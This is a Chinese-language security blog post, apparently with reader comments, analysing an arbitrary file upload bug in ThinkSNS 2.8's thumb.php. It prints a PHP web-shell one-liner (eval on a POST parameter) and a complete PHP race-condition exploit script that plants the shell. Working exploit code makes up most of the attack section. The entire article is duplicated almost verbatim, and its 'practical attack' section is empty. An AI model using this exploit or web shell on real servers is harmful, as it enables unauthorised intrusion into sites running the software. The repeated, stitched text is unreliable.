Thinksns 2.8 文件上传漏洞分析&完美利用
一. Thinksns简介
ThinkSNS(简称TS),是智士软件开源的开源微博、社交网络平台。采用PHP+MySQL技术平台,微博+应用的产品模式,通过应用、插件、风格包等丰富的机制来扩展功能,同时支持多种常见浏览器和移动客户端。拥有iphone、android客户端以及适合手机浏览的wap版界面,是建立社交网站、微博平台、移动互联网创业的首选二次开发平台。
ThinkSNS开始于20s08年,其间经历了从 1.0→1.6→2.0→2.5四个大版本的迭代,最新版本为V2.8。 ThinkSNS 致力于思考和探索web2.0思想在社交网络中的应用和实践,为个人以及中小企业提供以沟通和交流为核心的基础社交平台解决方案,力争成为更全面和完善的社会化网络服务商。
Thinksns的官方网站为http://www.thinksns.com,下面我们通过官网上的案例截图了解下有哪些企业在使用Thinksns,从图中我们可以看出像华为宁波银行等重要企业都在使用。
二. 文件上传漏洞分析
2.1 漏洞版本
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
下载URL:http://www.thinksns.com/product.html
截图:
2.2 漏洞文件
存在漏洞的文件为:thumb.php。
2.3 漏洞分析
2.3.1 初步分析
我们先看一段代码:
在第17行,我们可以看到,程序通过GET方式获取了url参数。18行只是进行了简单的一个过滤,对我们的攻击过程没有影响。
到26行,程序进行了一个判断,如果提交的不是本地(服务器端)文件就进入了28行。我们可以看到,在28行调用了GrabImage函数。最精彩的部分来了,现在我们来好好看看GrabImage函数里有什么。
这里的$url变量是我们可控的。现在,我们看一下99和100行代码,通过控制$url变量,我们就可以控制$filename和$img的内容。接下来,我们再看一下104行,居然把$img的内容以$filename的文件名写入硬盘了。
了解到这里我们就可以写exploit了。这个exploit分为以下几个部分。
1、 请求的URL。
为了生成php文件,只需要一个后缀名为php的文件就可以了。
例如:
http://127.0.0.1/thumb.php?url=http://127.0.0.1/ThinkSNS_V2.8_allinone_stable/123.php
2、 PHP文件的内容。
PHP文件的内容也是比较有讲究的,我们只要让PHP文件输出PHP小马(后门文件)就可以了。
PHP文件的内容如下:
<?php echo "<?php @eval(\$_POST[\"xpass\"]);?>" ?>
测试:
1、 将第二步中的php文件上传到服务器。(测试中使用的是同一个服务器,实际攻击过程中只要使用一个可以访问到的服务器就可以了。这里是http://127.0.0.1/ThinkSNS_V2.8_allinone_stable/123.php)
2、 打开如下URL:http://127.0.0.1/thumb.php?url=http://127.0.0.1/ThinkSNS_V2.8_allinone_stable/123.php
测试结果:
测试完成后没有发现服务器有文件生成,于是继续分析代码。
2.3.2 越挫越勇
最精彩的部分才刚刚开始,我们来看下面的代码:
大家看下78,79和90,91行。原来在程序的最后,程序把生成的临时文件删除了。删除了又怎么样,我们一样可以利用。现在就让我们来看看如何利用吧!
我们先梳理一下程序的流程:
PHP文件A上传 -》 PHP文件A写入临时目录 -》 删除PHP文件A。
现在我们来看看我的攻击流程:
PHP文件A上传 -》 php文件A写入临时目录 -》 访问PHP文件A-》生成PHP文件B-》删除PHP文件A。
现在大家明白了吧!只要在文件A被删除之前访问文件A,通过文件A生成文件B,我们就可以成功上传文件了。
为了实现这个攻击过程,我们要执行以下几个步骤。
1、 准备如下PHP文件并上传到服务器(自己的)。
文件内容如下:
<?php echo "<?php fwrite(fopen('img.php','w'), '<?php @eval(\$_POST[\"xpass\"]);?>'); ?>" ?>
2、 计算出临时的文件名:
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3、 上传临时文件。
4、 访问临时文件。
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小时间太短,太大可能传不上去。)
Exploit文件内容如下:(这个我就不详细解释了)
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die('Connection -> fail');
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
$ret="";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print "\n# ThinkSns Arbitrary File Upload #\n";
print "# Discovered by 韦鲲鹏 #\n\n";
if ($argc < 4) {
print "Usage: php <host> <path> <romote_url>\n";
print "Example: php localhost /thinksns/ http://localhost/test/123.php\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = "GET {$path}thumb.php?url=".$url." HTTP/1.1\r\n";
$headers_up .= "Host: ".$host."\r\n";
$headers_up .= "Connection: close\r\n\r\n";
echo $headers_up;
//临时文件访问数据包
$headers = "GET {$path}data/thumb_temp/".md5($url).strrchr($url,".")." HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = "GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
$res=http_recv(http_send($host, 80, $headers));
if(preg_match('/200 OK/',$res)) {
print "Success!\n\n";
} else {
print "Fail!\n\n";
}
?>
三. 实战
目标:
ThinkSNS(简称TS),是智士软件开源的开源微博、社交网络平台。采用PHP+MySQL技术平台,微博+应用的产品模式,通过应用、插件、风格包等丰富的机制来扩展功能,同时支持多种常见浏览器和移动客户端。拥有iphone、android客户端以及适合手机浏览的wap版界面,是建立社交网站、微博平台、移动互联网创业的首选二次开发平台。
ThinkSNS开始于20s08年,其间经历了从 1.0→1.6→2.0→2.5四个大版本的迭代,最新版本为V2.8。 ThinkSNS 致力于思考和探索web2.0思想在社交网络中的应用和实践,为个人以及中小企业提供以沟通和交流为核心的基础社交平台解决方案,力争成为更全面和完善的社会化网络服务商。
Thinksns的官方网站为http://www.thinksns.com,下面我们通过官网上的案例截图了解下有哪些企业在使用Thinksns,从图中我们可以看出像华为宁波银行等重要企业都在使用。
二. 文件上传漏洞分析
2.1 漏洞版本
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
下载URL:http://www.thinksns.com/product.html
截图:
2.2 漏洞文件
存在漏洞的文件为:thumb.php。
2.3 漏洞分析
2.3.1 初步分析
我们先看一段代码:
在第17行,我们可以看到,程序通过GET方式获取了url参数。18行只是进行了简单的一个过滤,对我们的攻击过程没有影响。
到26行,程序进行了一个判断,如果提交的不是本地(服务器端)文件就进入了28行。我们可以看到,在28行调用了GrabImage函数。最精彩的部分来了,现在我们来好好看看GrabImage函数里有什么。
这里的$url变量是我们可控的。现在,我们看一下99和100行代码,通过控制$url变量,我们就可以控制$filename和$img的内容。接下来,我们再看一下104行,居然把$img的内容以$filename的文件名写入硬盘了。
了解到这里我们就可以写exploit了。这个exploit分为以下几个部分。
1、 请求的URL。
为了生成php文件,只需要一个后缀名为php的文件就可以了。
例如:
http://127.0.0.1/thumb.php?url=http://127.0.0.1/ThinkSNS_V2.8_allinone_stable/123.php
2、 PHP文件的内容。
PHP文件的内容也是比较有讲究的,我们只要让PHP文件输出PHP小马(后门文件)就可以了。
PHP文件的内容如下:
<?php echo "<?php @eval(\$_POST[\"xpass\"]);?>" ?>
测试:
1、 将第二步中的php文件上传到服务器。(测试中使用的是同一个服务器,实际攻击过程中只要使用一个可以访问到的服务器就可以了。这里是http://127.0.0.1/ThinkSNS_V2.8_allinone_stable/123.php)
2、 打开如下URL:http://127.0.0.1/thumb.php?url=http://127.0.0.1/ThinkSNS_V2.8_allinone_stable/123.php
测试结果:
测试完成后没有发现服务器有文件生成,于是继续分析代码。
2.3.2 越挫越勇
最精彩的部分才刚刚开始,我们来看下面的代码:
大家看下78,79和90,91行。原来在程序的最后,程序把生成的临时文件删除了。删除了又怎么样,我们一样可以利用。现在就让我们来看看如何利用吧!
我们先梳理一下程序的流程:
PHP文件A上传 -》 PHP文件A写入临时目录 -》 删除PHP文件A。
现在我们来看看我的攻击流程:
PHP文件A上传 -》 php文件A写入临时目录 -》 访问PHP文件A-》生成PHP文件B-》删除PHP文件A。
现在大家明白了吧!只要在文件A被删除之前访问文件A,通过文件A生成文件B,我们就可以成功上传文件了。
为了实现这个攻击过程,我们要执行以下几个步骤。
1、 准备如下PHP文件并上传到服务器(自己的)。
文件内容如下:
<?php echo "<?php fwrite(fopen('img.php','w'), '<?php @eval(\$_POST[\"xpass\"]);?>'); ?>" ?>
2、 计算出临时的文件名:
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3、 上传临时文件。
4、 访问临时文件。
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小时间太短,太大可能传不上去。)
Exploit文件内容如下:(这个我就不详细解释了)
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die('Connection -> fail');
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
$ret="";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print "\n# ThinkSns Arbitrary File Upload #\n";
print "# Discovered by 韦鲲鹏 #\n\n";
if ($argc < 4) {
print "Usage: php <host> <path> <romote_url>\n";
print "Example: php localhost /thinksns/ http://localhost/test/123.php\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = "GET {$path}thumb.php?url=".$url." HTTP/1.1\r\n";
$headers_up .= "Host: ".$host."\r\n";
$headers_up .= "Connection: close\r\n\r\n";
echo $headers_up;
//临时文件访问数据包
$headers = "GET {$path}data/thumb_temp/".md5($url).strrchr($url,".")." HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = "GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
$res=http_recv(http_send($host, 80, $headers));
if(preg_match('/200 OK/',$res)) {
print "Success!\n\n";
} else {
print "Fail!\n\n";
}
?>
三. 实战
目标:
评论65次
帅呆了 。
感谢分享~~~ 思路很清晰
流B啊,时间竞争啊
well done
支持下牛逼哥